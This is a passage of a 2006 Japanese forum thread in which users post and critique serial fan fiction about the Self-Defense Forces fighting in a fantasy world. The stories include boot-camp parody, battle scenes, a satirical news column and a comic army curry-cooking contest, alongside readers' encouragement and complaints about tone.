の学び舎に迫る一団があった。着古した戦闘服に身をやつし、使い込まれた
銃器を保持する眼光鋭利な兵士ども。その中にあって最も強暴狂悪な指揮官
風の男を先頭に、不貞自衛官たちが池沼小学校に突入し、占拠した。
これはその一部始終を綴った物語である。

482 名前: てさりすと ◆V2ypPq9SqY 2006/06/30(金) 12:55:05 ID:???

あー。クラマン氏?洒落抜きでこのスレが消えかねないので
いくらなんでもそういう書き込みは止めにしないか?

あと、『やる』なら学校などと情けないことをいわず言わず官庁街(以下略)

ついでに諸君
自衛隊的には退職者の再就職先に困る事はまずないと言っておく
地レンジャーのただ飯位が何のために存在していると思っているのかね?
両手が後ろに回った奴以外はまず大丈夫だ
というか、退職後の道が決まってない奴はなかなか止めさせてもらえん品
部隊の「いらない子」は別だが。


483 名前: 元1だおー 2006/07/01(土) 08:47:07 ID:???

なんというか……今回自分が扱ってるテーマはスレ的にまずいんでしょうか?

ちょっと不安になってきました……

484 名前: 名無し三等兵 2006/07/01(土) 09:06:27 ID:???

ファンタジー世界が舞台で
自衛隊がメインで
おもしろければなんでもいい。

そういうスレでしょ?

you 自信もっちゃいなyo

485 名前: 名無し三等兵 2006/07/01(土) 10:32:33 ID:???

特にガイドラインには引っ掛かってないし気に病むことはないでしょ。

ただひとつ言うなら長々文が苦手な人や元1だおーさんの世界設定が嫌いな人も居る。
スレ住人全員が諸手を上げて賛同しているわけじゃないことは知ってください。
まぁ、そういう人はスルー推奨で元1だおーさんが連載を止めることはない。

486 名前: 名無し三等兵 2006/07/01(土) 11:31:44 ID:???

進行が止まっているこの隙に。
となりのスレを整備していて、で、自分も不安になってきた宝石の人ですが、
他に気をつけた方がよい点などはありますでしょうか。

487 名前: 名無し三等兵 2006/07/01(土) 14:59:17 ID:???

>>483
灰汁が強くなっただけのことですよ。キニシナイキニシナイ。

488 名前: 名無し三等兵 2006/07/02(日) 21:27:34 ID:XuXOR5kB

元1だおーさんのSSは面白い。だからこそ言わせてもらいます。

「自衛隊漂流戦記」の続きどうなってるんですかー!!!

ああ、読みたいったら読みたい。一番ええところで中断してるんだもんなあ。
いずれ書いて頂けるものと信じてますぜ。

489 名前: 名無し三等兵 2006/07/02(日) 23:18:18 ID:???

あの続きはもうWeb上では公開されないらしいが

490 名前: 名無し三等兵 2006/07/03(月) 02:32:34 ID:???

再うぷしてほしい・・・・・。

491 名前: 名無し三等兵 2006/07/03(月) 17:13:13 ID:???

>>490
ここ
#http://www3.ocn.ne.jp/~novel/novel.htm

492 名前: 名無し三等兵 2006/07/04(火) 11:14:17 ID:???

上に貼られた小官作品にくらべればこれくらいのはアクともよべないな

493 名前: 名無し三等兵 2006/07/04(火) 18:14:17 ID:???

>>491
d。
続きはないのかな?

494 名前: 名無し先任軍曹 2006/07/05(水) 02:47:20 ID:???

「畜生!敵だらけだ!リロードできねぇ!!」

「痛ぇよ・・・・頼む、殺してくれ・・・奴らに引き裂かれるよりはマシだ」

「オラオラオラオラこれでどうだ!おかわりなら山盛りだ!!かかってきやが・・・ぎゃぁぁぁぁぁ!!」

マヒノエ山の麓
日本列島に二番目に近い港町セレアでは
まさに血で血を洗う戦いが行われていた

帝國の雑兵であるゴブリン、オークの人海戦術に対し日本国自衛軍は圧倒的に不利だった

倒しても倒しても倒しても召喚師により作り出されるまさに使い捨ての兵士には近代装備の自衛軍兵士とて防戦が関の山であった

更に運の悪い事に敵の攻撃は奇襲であり、実戦経験のある隊員でもパニックを起こしてしまった事も損害を大きくした要因である

奇襲を受けた自衛軍は敗走し、駐留していた普通科一個中隊は負傷者46名、死者52名の大損害を被った

この奇襲により敵にセレアを制圧され、本土への上陸を可能にしてしまった事により日本は喉元に刃を突きつけられることになった

政府はこの緊急事態に対し人亜混成強襲陸戦団(通称海兵隊)を急ピッチで完成させる

日本国及びその領地内に住み訓練の結果良好とされた選りすぐりの隊員で構成された殴りこみ部隊
彼らがこの物語の主役である


495 名前: 名無し先任軍曹 2006/07/05(水) 02:47:54 ID:???





Kill them all〜海兵隊よ永遠なれ









496 名前: 名無し先任軍曹 2006/07/05(水) 02:48:28 ID:???

0500時
「起きろ起きろ起きろ!!何時までマスかいてる!!帝國は待ってはくれんぞ!!」
教官の大きな声とガンガン喧しいバケツの音で今日も訓練生の一日が始まる

「5分後に清掃開始!聖母マリアが便器の中で入浴したがるぐらい磨き上げろ!」
「蛆虫共!貴様らがここまでグズなのは生まれつきか!?それとも努力してこうなったのか!?」
「走れ豚娘!足の感覚がなくなっても走り続けろ!根性見せろ!」

ここはタフガイ気取りとアホ勇者が通う8週間学校
誰でも通う事が出来るものの・・・・・正直ここのシゴキは自衛軍でナンバー1である
然し卒業すれば混成強襲陸戦団への入隊は約束されているので入学者は後を絶たない
(特に未だ未開の地に住む亜人種にとって安定した収入は喉から手が出るほど欲しいものだそうだ)
「貴様らは後14日で訓練を満了する!その日こそ貴様らが蛆虫から海兵隊員に羽化する日である!
しかし貴様らは

             〜中略〜
                                          である!わかったか!!」

14日後彼らは無事に羽化し、大陸方面第一人亜混成強襲陸戦団としてセレア奪還の任についた


497 名前: 名無し先任軍曹 2006/07/05(水) 02:49:31 ID:???

なぜ在日米軍が動かないのか、それにはには訳がある
2008年、突如として日本列島を覆った正体不明の気象現象により、日本列島全てがこの世界に飛ばされる事となった
しかし不可解な事に飛ばされたのは日本人のみであり、在日米軍は設備だけが飛ばされてきた
1年後には飛ばされた海域に最も近いロジェク国を含む国家連合に対して不可侵条約を制定
その4ヵ月後には政府が新憲法を施行、それは自衛隊の明確な国軍化も含まれた憲法であった
しかしこれを快く思わない帝國(正しくは大ノヴィレア=セントルージュ帝國)は日本に対し属国となる事を要求
国会で満場一致でこれを反対

しかし丸く収まる筈も無く帝國はロジェク国に対し宣戦を布告、人海戦術を用い2ヶ月で首都を陥落させる
そして帝國は日本を次のターゲットとした
この大陸でもっとも大きな国がこの大陸で最も危険な国に牙をむく、それはこの世界の雌雄を決する戦いであった



498 名前: 名無し先任軍曹 2006/07/05(水) 02:50:17 ID:???

聖エアリア暦2372年5月26日
「いいか雄豚共!2ヶ月前我々は奇襲を受け戦友を失った!
しかも彼らは死して尚も裸で引きずり回される辱めをうけた!
この作戦はただの奪還作戦ではない!!
彼らの敵討ちだ!!!!」

「「「「うぉぉぉぉぉぉぉ!!!!」」」」
隊長の佐藤三佐の叫び声とともに部下は鼓舞の叫びを上げる

「貴様らに指令を下す!目標はセレア奪還!」

「俺たちの商売は何だ!」
「「「「殺しだ!殺しだ!殺しだ!」」」」
「草を育てる物はなんだ!」
「「「「血だ!血だ!血だ!」」」」

「いいか貴様ら!敵討ちだ!皆殺しにしろ!!(Kill them all!!)」
「「「「うぉぉぉぉぉぉぉ!!!!」」」」

彼らは皆叫んだ
相手に対する怒りが3割
自分に対する叱咤が7割

皆不安を隠す為に叫んだ
これから彼らは戦場へ赴き、人を殺し、仲間の誰かは帰ってはこない事から少しでも長く目を逸らしていたかったから・・・・

499 名前: 名無し先任軍曹 2006/07/05(水) 02:51:51 ID:???

やーっとでけた(汗
お待たせしました

この程度書くのにどんだけ時間かけてんだかorz


500 名前: 名無し三等兵 2006/07/05(水) 08:15:18 ID:???

乙。
いきなりくろべえ氏の終末エンドのテイストですな・・・

501 名前: 名無し三等兵 2006/07/05(水) 15:27:12 ID:???

ハートマン軍曹?
フルメタルパニック?

私はヘルシングの方が好き。

502 名前: 元1だおー 2006/07/08(土) 09:02:51 ID:???

「バディがいた風景 2」は完結したらどこかにうpしておくことにします。
なんというか……灰汁が強い作品を作っているつもりはなかったのですが、
そういった内容だったようで、今の自分にはスレが荒れる原因にしかならない作品しか作れないようです……
がんばってた分、ちょっと疲れました……

503 名前: 名無し三等兵 2006/07/08(土) 09:14:17 ID:???

ええええ。いや、普通に面白いSSでしたよ。
できたら次もここに投下してくださるとうれしいです。
気にする程スレは荒れてませんよ。気にすることないです。

504 名前: 名無し三等兵 2006/07/08(土) 11:07:44 ID:???

初心者ですみませんが灰汁って何です?
元1さんの作品おもしろいから続けてほしい

505 名前: 名無し三等兵 2006/07/08(土) 11:46:27 ID:???

「あく」を変換してみると良いぞ

506 名前: 名無し三等兵 2006/07/08(土) 12:10:23 ID:???

バディーがいた、は面白いと思うよ。
ある意味メイドより好き。


507 名前: 名無し三等兵 2006/07/08(土) 12:14:31 ID:???

../../hobby7_army/1151/1151247561.html

↑のスレの住人だけどここは粘着がいなくてウラヤマシス

508 名前: 名無し三等兵 2006/07/08(土) 12:22:48 ID:???

そーとも限らんけど まーみんなで乗り越えてる

509 名前: 小官 ◆78rl1RUP6Y 2006/07/08(土) 12:47:47 ID:???

そうだな。小官の様な既知外でスレ住人は大概のアレなら耐性が付いているしな?

510 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 12:49:27 ID:???

何だニセモノめ! 小官のトリ違えをよくもネタに!

511 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 12:55:07 ID:???

>>502
 エンリョするこたぁ無いんだよ。ここは上げるべきさ。批判なんぞ何だ!
批判意見ばかりが意見では無い。万人にウケル奴なんて誰も書けんさ!
気に食わん? ならテメエが書いてみろ! てなノリで涼しい顔してな?

 己を信じろ。全ては、そこから始まるのだ。自分の姿を心の鑑に写せ。
そこに歪みが無ければそのまま突っ走れ。忙しい最中だが、書き込み終わり。

512 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 13:02:32 ID:???

>>507

>284 名前: 名無し三等兵 [sage] 投稿日: 2006/07/07(金) 22:28:18 ID:???
>一本筋の通った物語を淡々と投下して解説はしない
>雑談はコテを外して名無しで参加するのが
>理想のSS書きなんだよなあ

 この寝言で確信。すまんな。ここが静か過ぎて棲家を変えたらしい粘着だ。
これだけはイカンな? テメエの理想なんぞはテメエで実践しろやが小官スタンス!
ま、頑張ってナ! 

513 名前: 名無し三等兵 2006/07/08(土) 13:32:25 ID:???

>>512
そりゃ重度の病人だな。
最悪板に篭って二度と出てこないで欲しいもんだw

>>502
どこに投下したって同じだぞ。
ってか批判されるから投下止めるってその程度の覚悟しかないなら書くの止めたら?
少なくとも、あなたが批判するような思想を持つ学者だとかここ以上の批判に曝され
これでもかってぐらい細かいところに突っ込まれ、散々プライドを潰されながらも自己の
学説を確立し、地位を得ているんだぞ。
それを批判する文句を作中にちりばめるんなら、それ相応の覚悟はしないとな。


514 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/08(土) 13:52:04 ID:???

おいらは、ここの作品&コテ全部すきなんだけど・・。
とりあえず何か問題あるとしたら翡翠が灰汁強すぎだったから大問題だった、という事で。
いちおう、1つ支援投下。さわりだけ。本文は灰汁抜きで隣(となり)に置いてマフ。

で、いちおう、さわり「だけ」なので、
あとはヘルシング好きな人で脳内補完よろしく。
F世界で練度も積んで更に精鋭化した自衛隊が、
王立国教騎士団と法王庁第13課の名前持ちキャラ全員が「生きている」状態で、
魔法の剣を振るう法皇国扶桑の武者抜刀隊の協力な盾の元に彼ら全員をキープするストーリー。

なお「さわり」だけ、なのは、
灰汁警戒以前にロードス背景の時と同じく、原作と創造者(作者)への敬意のため。


515 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/08(土) 14:08:01 ID:???

法皇歴2XXX年・夏。
法皇国扶桑の首都・聖京の法国議事堂が、
史上最悪の犯罪組織である「永遠の千年魔道帝国」の武装SS小隊に占拠された。

だが、幸いな事に、
その前日に突如『自衛隊』と名乗る謎の武装集団が、法皇国・不二の原野に出現。
そのため当日未明、法国の全閣僚・全代議士が秘密裏に現地入りし、
その武装集団との交渉に入っていたため、法国議事堂内はほぼ空であった。

現在、法国議事堂を占拠した集団は、
この謎の武装集団『自衛隊』によって

『 全 滅 』が確認されている。

だが、彼ら『永遠の千年魔道帝国』の本隊は、
エルフ海軍連合王国首都・霧笛にあり、現在も連合王国政府軍と交戦中である。
彼らの要求する声明は「破壊!破壊!破壊!」と、完全に常軌を逸しており、
目下、各地にて連合王国政府軍を殲滅、女王宮殿へと侵攻中との事である。

万が一、彼らによりエルフ海軍連合王国が制圧されてしまえば、
連合王国に住む数十万の邦人の生命が、殺戮の濁流に飲み込まれてしまう。

至急、『自衛隊』と『法皇国第一先遣軍』は、
エルフ海軍連合王国の邦人救出に出動すべし。

『自衛隊』は先の法国国会議事堂奪回作戦の協力と、
この『エルフ海軍連合王国邦人救出作戦』への参戦の協力とにより、
法皇国・扶桑の永遠の市民権と庇護と支援を約束されるものとする。


516 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/08(土) 14:15:26 ID:???

「さわり」の「さわり」の投下終了。
あとは隣の翡翠隔離倉庫兼用・整備梅事業所にて。
スレ歴代の皆様の作品の続きの本家展開を、あそこから見ています。m()m

517 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 19:43:17 ID:???

答えが出ないので>>394の続きを上げよう。某2に失望した身としては辛いがね?

 「呼ばれて飛び出てジャジャジャジャァ〜ん! とぉ! Ace in the Hole Ogawa、略してAHO推参!」

 公子と呼ばれた少年と、臣と呼ばれた少女の前に突然現われたのは、斑模様の奇妙な服と背嚢を背負う、
やや黄色味を帯びた肌をした大丈夫だった。背嚢と背中の間には無線機があり、ブレードアンテナが飄々と
揺れている。男は白い歯を2人に見せた。それは漢らしくそして男臭い、爽やかな笑顔だった。思わず少女は
頬を赤らめた。黒く濃い眉に、切れ上がった目尻、日に焼けた肌、何よりも迷いも無く自分を見詰める黒い瞳…

 「撰んでくれてアリガトよ! だがソイツは整備も無しじゃあ、素人には危険だ。火薬が生きてたら尚更だな? 」

 腰に下げていた湾曲した大刀を、一息にすっぱ抜く。それは全長が少年の5分の4を超える長さを誇っていた。
さらに反対側の腰に有る短剣を抜く。黒い刃が見える。少年少女は知らないが、それは紛れも無い銃剣だった。
AHOと名乗った男は、暴漢どもに体ごと向き直り、侮蔑と嘲笑を顔一杯に浮かべ、声にも表現した。

 「さっさと来いよ、雑魚ども! 抵抗出来ない少年少女を嬲れても、武装した男は怖いってか? んぅ? 」
 「抜かせぃ! 」

 怒声と石弓の矢が、答えだった。大刀で払い、一息に大刀の長さの距離を跳躍し、脳天に小刀を叩き込む。
衝撃で頭蓋骨が陥没し、両の眼球が視神経を引いて飛び出る様を、少年少女はモロに見てしまった。

 「折角の飛び道具を外すなよ〜? さあ、お次は誰だい? 」 

 少年少女からはAHOと名乗る男の顔は背を向けていて見えはしなかった。だが、その声は確かに「笑って」いた。

518 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 20:13:46 ID:???

 少女の10歩を数えるだろう真円が、AHOと名乗る男の『殺界』だった。幅広の両刃剣を持った男が突進し、
難なく首の太い血脈を刎ねられ、辺りに血潮を撒き散らす。それを回避した斑模様の服を着た男は、後ろも
見ずに片手の小刀の刃を投げ上げ、逆手に持ち替えて後ろに振り下げる。狙ったが如くそれは見事に、
背後から襲い掛かってきた小剣遣いの心臓を胸骨を避け、下から貫いていた。

 「残りは一人だ。どうする? 坊ちゃん? お付きのお姉ちゃんにいいトコ見せたいなら譲るぜ? 」

 崩折れた小剣遣いを支え、小刀を持った手首を捻りながら、AHOと名乗る男は振り向いた。3人もの男の
命を瞬時に奪ったと言うのに、男の唇の端には親しげで魅力的な笑みが消えて居なかった。

 「…! サイア、退いてくれ。弧は男(おのこ)として…」
 「君子危うきに近寄らずです、公子! そこの亜父(あほ)とやら、臣が痴れ者どもを討つ! 」
 「君の様な美女候補には是非、小川 憲人と呼んで欲しいモンだね? 坊ちゃん、俺は残念…」
 
 サイアと呼ばれた少女の髪留めを少年は外す。操作すると鋭利そうな刃が飛び出す。少年はそれをただ
一人残った暴漢の眉間へと投擲した。狙いは寸分違わず、人体で最も堅い部所であろう一つに突き立つ。

 「へえ、手裏剣術、ね。ここまで逃げて来れたワケだ。お兄さん感心感心、と」
 「公子に先程からの無礼千万許しがたし! そちは何者ぞ! 」
 「…おお怖い…おっと、冗談冗談! ったく…目覚めてくれないと話が進まねえんだよな…」

 男はサイアの真剣に怒る表情を見て、相好を崩す。旧知の人間に逢ったかのように親しげに小剣を保持した
片手を振り、いなす。そして急に真顔に戻る。何故かサイアの胸が急に一度、高鳴った。ドクン。頬が、熱くなる。

 「今は何年だ? 」

 サイアのその反応を見透かした様に、AHOと名乗った男の顔はとても優しく、笑っていた。 

519 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 20:15:50 ID:???

笑う、が今回のキーワード! 笑いは難しい! 日本人は辛いときにも笑う! 
そこが外国人に理解されない! 哀しいなと来たもんだ!

 全てを赦すための笑いは美しい。解ってくれよと小官はそっと、微笑む。以上!

520 名前: 名無し三等兵 2006/07/08(土) 20:48:51 ID:???

小官、今度こそ続きかけよw


521 名前: 小官 ◆qG4oodN0QY 2006/07/08(土) 20:58:37 ID:???

小官ワールドは「着々戦果拡大中なり」! まあリンクしてるワケでな?
本編はwikiに載ってる。短編は書き捨てに為ってはいるが、過去スレに有る。

今のはまた…スピンアウトもの。イイカゲン撤退戦書かないと…失礼! ではな!

522 名前: 名無し三等兵 2006/07/09(日) 07:48:45 ID:???

>略してAHO推参!
このあたりで吹いたwww

523 名前: 名無し三等兵 2006/07/09(日) 22:06:47 ID:???

分家である作品が終わっちまった。

524 名前: 名無し三等兵 2006/07/09(日) 22:33:31 ID:???

気持ちのいい終わりかたでよかった
また新しい作品書いてくれないかな?

525 名前: 名無し三等兵 2006/07/10(月) 01:24:04 ID:???

          /⌒ヽ
やぁ⊂二二二( ^ω^)二⊃
        |    /       ブーン
         ( ヽノ
         ノ>ノ
     三  レレ
ようこそ、ブーンハウスへ。
このブーンはサービスだから、まず見て落ち着いて欲しい。

うん、「ブーン」なんだ。済まない。
ブーンの顔もブーンって言うしね、謝って許してもらおうとも思っていない。

でも、このスレタイを見たとき、君は、きっと言葉では言い表せない
「ブーン」を感じてくれたと思う。
殺伐とした世の中で、そういう気持ちを忘れないで欲しい、そう思って
このスレを立てたんだ。

じゃあ、一緒にブーンをしようか。

526 名前: 名無し三等兵 2006/07/10(月) 01:51:41 ID:???

「きた……」
 イノがつぶやいた。少年は18になったばかりで、顔にはまだ幼さの名残があった。深緑の髪は短く刈られている。瞳は母親ゆずりのとび色で、子供の時分には母親に似ていると近所の大人にからかわれたものだ。

 その瞳が見据える先、エメラル山のすその辺りから少年にむかって土煙が伸びていく。それは彼がずっとまっていた人々だった。

 イノが駆け出した、土煙にむかって一直線に。彼の足は尋常でなく速い。土煙が向かってくるのも手伝って、あっという間に米粒大だった集団がはっきりと姿をみせはじめる。

 緑色の服に、細長い筒を背負う特徴的な格好。間違いない、ジエータイだ。少年は心のなかでつぶやいた。

 ジエータイが現れたのは1年ほど前までさかのぼる。

 少年が初めてジエータイの話を聞いたとき、彼は畑をのんびり耕していた。一服しようかと思った頃、王都に出稼ぎにいっていたカイルがひょっこり姿をあらわした。

 カイルの話は眉唾ものだ、イノは最初そう思った。なにせイノの住む大陸の西の海に、でかい島がひょっこり現れたというのだ。
 かててくわえて、東の大国イルエラのドラゴンライダー一隊がその島に向かったきり帰ってこない、やられてしまったんだ! とまで言う。イルエラのドラゴンライダーと言えば一騎当千と名高い。それが最低でも10騎はむかったのだ、馬鹿げた話だ。

527 名前: 名無し三等兵 2006/07/10(月) 01:52:41 ID:???

 だが、イノはやがてその話を信じることになる。イノの住むところは田舎もいいところで、都会の話などよっぽど大事でないと届かない。にも関わらず、ジエータイの話は毎日のように聞かされる。

 最初は恐怖と好奇心で塗り固められた、でたらめみたいな話ばかりだった。いわく、ジエータイには魔法使いしか住んでいないだとか、ジエータイの人々は天まで届く塔に住んでいるだとか、そんな話ばかりだ。

 そんな話が落ち着いて、今度は交易がはじまったという話を聞いた。イノはそこでやっと、本当にジエータイってあるのか、と得心したのだった。とはいえ、イノにとって、ジエータイはそこまで心動く対象ではなかった。

 彼が興味をもったきっかけは、行商が村を訪ねてきた時だった。行商はジエータイからきた品々を自慢げに披露した。火の出る小箱、ライテとか言っていた、それからキャムラとかいう眩しい光がでる箱、さらには箱の中で小人が動く、ゲルムなんてものまであった。

 イノはゲルムが欲しかった。都会にでて5年は豪遊できる金さえあれば買っていただろう。そんな金はなかったので、ライテを買った。5歳の頃から貯めていた金が全部なくなったが。一月もすると、火花をたてる小箱になってしまったが。

528 名前: 名無し三等兵 2006/07/10(月) 01:53:27 ID:???

 そうしてイノは、いつの頃からかジエータイにいけやしないかと考え始めていた。ジエータイにいけるのは、王宮の偉い人だけだった。イノの周囲で勉強ができる場所はなかったし、しょうがないので剣の腕を鍛えることにした。王宮で兵隊になって、偉くなろうと思ったのだ。

 そんなイノにとって、ある日朗報が届く。戦争が始まったのだ。噂によると、建国祭の折、フナビというジエータイの魔術で、隣の大国、イルエラから招かれていた侯爵が死んでしまったらしい。それが原因でイノの住む国であるザハジードとイルエラが戦争を始めたというのだ。

 彼はすぐに兵隊になろうと思ったが、母親は許してくれなかった。イルエラとじゃ負け戦だ、死にに行くようなもんだ、ジエータイにだっていけないよ。母親はそういってイノを止めた。

 イノが畑でじりじりしていたころ、もう一つのしらせが届いた。ジエータイが援軍をくれたというしらせだった。イノは狂喜して母親を説得した。

 ジエータイの貴族の前で活躍して、つれてって貰う、なんなら戦争なんてしなくてもいい、ジエータイの兵隊と仲良くなるさ。イノの言葉に母親はなかなか頷かなかった。それでも懸命にいうイノを見て、母親はこういった。

「ジエータイの軍隊がこの村にきたら、そこでその軍隊にいれてもらいなさい。そっちの方がまだ生きられそうよ」

 イノは不承不承であるがそれを受け入れた。もし来そうになければ、家出すればいい。そう思ったからだ。

 そうしてイノは待っていた。そしてジエータイの軍隊がきた。イノは運命だと思った。

 ジエータイの軍隊が目の前まで迫っている。あと少しだ。あと少しでジエータイにいける!

529 名前: 名無し三等兵 2006/07/10(月) 01:59:46 ID:???

次の日の新聞のコラム

少年が死んだ。異国の少年だ。少年は日本にきたがっていたという。
年はまだ18で、母親と二人で畑を耕して暮らしていた。
少年は日本から輸出された商品に魅了され、どうにか日本にこれないかと考えていた。
彼は自衛隊に入ろうと考えたらしい。そして彼の住む村まできた自衛隊に近づいた。
異国の少年である。自衛隊の警告は通じなかった。隊員が発砲し、少年は即死した。
なぜこの様な悲劇が起きたのだろうか。そもそも自衛隊の派遣自体が間違いでなかったろうか。

以下反戦平和が云々と続く。

いや、ギャグです。テスト前のノリで書いたもんで、続きも考えてないんで・・・w

530 名前: 名無し三等兵 2006/07/10(月) 02:05:49 ID:???

あ、投下終了です。

531 名前: 小官 ◆qG4oodN0QY 2006/07/10(月) 03:25:30 ID:???

>>518

「現ライセナ王の在位12年と102日…」
「かぁ〜…そんなんじゃなくてなぁ、帝国暦だ。まだ在ったら、だが、な?」

 サイアのローカル過ぎる答えに、AHOと名乗る男、いや、小川憲人は大袈裟に、
心もち愉しげに額に左手を当て、天を仰ぎ言葉を続けた。帝国、と聞いた瞬間、
少年少女の瞳が期待に輝く。小川は空気が変わったのを感じ、公子と呼ばれた
少年を見詰めた。少年ながら凛々しいその態度は、陸自に生きた小川に好感を
抱かせるには充分過ぎた。

 「弧は爺より今は、帝国暦893年と聞いている」
 「…100年経ったのかよ…よくぞ持ったり89式! …湿気が無かったのが幸いか」
 「…弧は貴殿に救って貰うた。しかし聞かねばならぬ。貴殿は一体何処から来た
  のだ? そして何者なのだ? 突然、現れた様に弧は…」
 「公子! こやつ、死霊の類(たぐい)に候! 離れませい!」

 サイアは公子を背後に庇い、小川を睨み付けた。柳眉を逆立てて怒っているのだが、
滲み出る愛嬌は隠せない。小川は鼻で哂って距離を詰め、サイアの額を指でつつく。

532 名前: 小官 ◆qG4oodN0QY 2006/07/10(月) 03:27:02 ID:???

サイアの胸の奥が何故か、不思議な懐かしさで切なく、痛み、涙が出そうになる。

 「ま、当たらずと言えど遠からずって奴だな。AHO指数で50点はやろう」
 「ふざ…」

 けるな、とサイアが怒声を上げようとしたその時、口が意のままに動かなくなった。
何か別の者が自分の中に居る、と感じた時、膨れ上がる理解出来ぬ想いが彼女
を支配していた。恋慕、思慕、慕うと言う得体の知れぬ感情が突然、あふれ出す。

 「けるで無いわ…。この…この…痴れ者め…この…この…たわけ…」
 「サイア…? 何を言っているのだ…? この者は知人なのか?」
 「やっと出て来たか相棒? まぁ、俺の魂を取り込んで、天界とやらの戦野
  へ送らなかったには感謝するぞ? 素直にな? さあ、冒険の再開だ! 」
 「…この肉体は完全に我の物では無い。さらにそなたの存在も…不安定で…」
 「知るかそんな事! 俺とお前が揃えば、怖いモン無しだ! 行こうぜ相棒!」

 訳の解からぬ公子を一人置き去りに、サイアとは似て非なる者は小川と抱き合った。
終には涙を流して頬を擦り合う2人の姿を、公子はただ美しいものと認識していた。

 「少年、済まんな? 説明は後だ。今は黙って、こうさせてくれや、な? 」




533 名前: 小官 ◆qG4oodN0QY 2006/07/10(月) 03:28:13 ID:???

とまあ、終わる。ネタは外伝と本編から取った。以上。お休み。

534 名前: 名無し三等兵 2006/07/10(月) 16:31:49 ID:???

小官が珍しくキモい。
安易な萌え、ムリヤリ演出したテンポの良さが、なんとも言えない気持ち悪さを醸し出してる。
テンポを重視する余り話がすごく分かりぬくい。
ハードボイルド系の奴と、
萌系?でも「エルフ姉妹と無礼な自衛官(未完?」の話は面白かったけれど。



口悪くてすめんなさい。

535 名前: 名無し三等兵 2006/07/10(月) 16:45:20 ID:???

小官の虐殺路線好きな奴は萌え系はNGだろうな
>>467-470系が好きな俺としてはwikiの奴は地雷
だけどそのクトゥルー風味な外伝は好き

536 名前: 名無し三等兵 2006/07/10(月) 16:49:10 ID:???

そんな>>534にもっとキモイのを つ

191 名前:小官 ◆qG4oodN0QY :04/05/13 23:22 ID:???
…よし、ギャグだ。決定。いくぞ!

 競技会。自衛隊の練度を測るバロメーターである。中隊ごとにその能力を競わせ、
優勝した中隊へは『○○競技会優秀中隊』との『看板』が与えられる。各種職能の
大規模な競技会開催の中…それは行われた。中隊の調理能力を競う、競技会である。
 品目は、カレー。決められた時間内に、決められた分量を調理する。一挙にその数、
各々の中隊分と、審査員分。この競技会には…尉官や佐官の出る幕は、無かった。

 「番号、始め! 」

 森の開けた広場の中、3中隊がその威信を懸けて、カレー調理を担当する。各中隊、
10名の人数で、何十名分ものメシを用意しなければ為らない。ミスは許されない。
失敗すれば…当然メシ抜きだ。居並ぶ中隊の連中の無言の圧力が、彼らの肩に圧し掛かる。




537 名前: 名無し三等兵 2006/07/10(月) 16:51:16 ID:???

192 名前:小官 ◆qG4oodN0QY :04/05/13 23:37 ID:???

「只今付与された番号は各人の固有番号! 以後の行動は番号を以て示す! 
 右ェ、倣えィ! 1番、前! 5番、もう少し後退、よし! 直れィ! 」

 中隊でも古参の一曹、曹長クラスが気合を入れた声で整列させる。大隊長の
指示を以て、競技は開始される。整列終了後、式次第が述べられる。さあ、競技
の幕が、上がろうとしていた。

 「大隊長臨場、部隊気を付け」
 「本部管理中隊(第一中隊)(第二中隊)、気を付けィ!」
 「大隊長に敬礼」
 「頭ァ、右(中)(左)!」
 
 大隊長が答礼を返す。各中隊を見渡してから、直る。

 「直れィ! 」

 (その後こまごました号令が続くが、割愛)もう、各中隊選抜人員が焦れている
のが肌で解る大隊長は、ニヤリと笑う。我が大隊、士気軒高なり。…ただ、皆、
ハラが減っているだけだとは、露ほども彼は知らなかった。そして、口を開く。

 「各中隊、始め! 」

 S1の若手3尉がストップウオッチを押した。時間は1時間半。審査員全部のルーから
メシから盛り付けまでその時間内に全て完了しなければ為らない。中隊の分も同時に作る
が、配布は後からだ。見守る視線が…熱い。中でも本管中隊にはその『面子』が懸っていた。

538 名前: 名無し三等兵 2006/07/10(月) 16:52:25 ID:???

193 名前:小官 ◆qG4oodN0QY :04/05/13 23:46 ID:???
 本部管理中隊。云わば後方支援のエキスパートだ。実際、演習では彼らの中から
糧食班が選抜され、各NO中隊から人数を若干差し出させる、と云うのが昔のやり方だ。
 いまは、各中隊が同等の能力を持つように、と指導が入り、人員練成中である。
器材はあっても、人が居なければ話に為らない。各NO中隊は、本部管理中隊との人事
移動で来た人材を、この競技に投入していた。後方支援の本家は、負ける事を許されない。

 「どんな料理が出されるのか…楽しみです。ああ、各種香料の入り混じった香りが…」

 この広場を貸与してくれた『長老』が言う。しかし、永遠の若者たる彼らにとってその
称号は奇異どころかはっきり云って相応しく無い。大隊長は隣でムゥ、と唸る。御付の者が
見とれていたのだから。しかし、不満を顔には出せないのが、上に立つ者の辛い所だ。

194 名前:小官 ◆qG4oodN0QY :04/05/13 23:56 ID:???

 「裁断班、作業完了! これより材料投入! 」
 「馬鹿! 手前! こら! そこ! 火加減! ああ、焦げるだろ! 」

 テッパチに迷彩服姿に、白マスクと使い捨てプラ製手袋は余り似合わない。
しかし、これは飽くまで調理なのだ。皆、大真面目だ。与えられた材料は、
同じ。これにどう、アレンジを加えるか? ルーは業務用カレーフレーク。
水加減と、野菜の分量、加熱時間が、勝敗を分ける。だが、一番大事なのは…?

 「3、2、1、今! それ、攪拌! …閉じろ! 」

 米飯だ。釜で炊くが、これも方法が指定される。カレーのキモであるメシが
焚けないと…中隊に配布されるのはカレールーのみだ。…予備など無い。
 失敗したが最後…他の中隊にアタマを下げて、貰いに行くしか道は無いのだ。
必死だな、と冷笑した奴がその場で袋叩きにされかね無い程、緊張感が張り詰めていた

539 名前: 名無し三等兵 2006/07/10(月) 16:53:54 ID:???

195 名前:小官 ◆qG4oodN0QY :04/05/14 00:07 ID:???
で、各中隊が完成品を審査員の前に並べ終わったのが、5分前キッカリで有る。
品目は、野菜サラダ、カレーライス、福神漬け。各中隊の個性がもろに出る瞬間だ。
 本管中隊。サラダの野菜もカレーライスも盛り付けの形は良い。全体的に細やかだ。
第一中隊は戦闘部隊の気質を残した荒々しい出来で有る。野菜もぶつ切り、ごろごろ大きい。
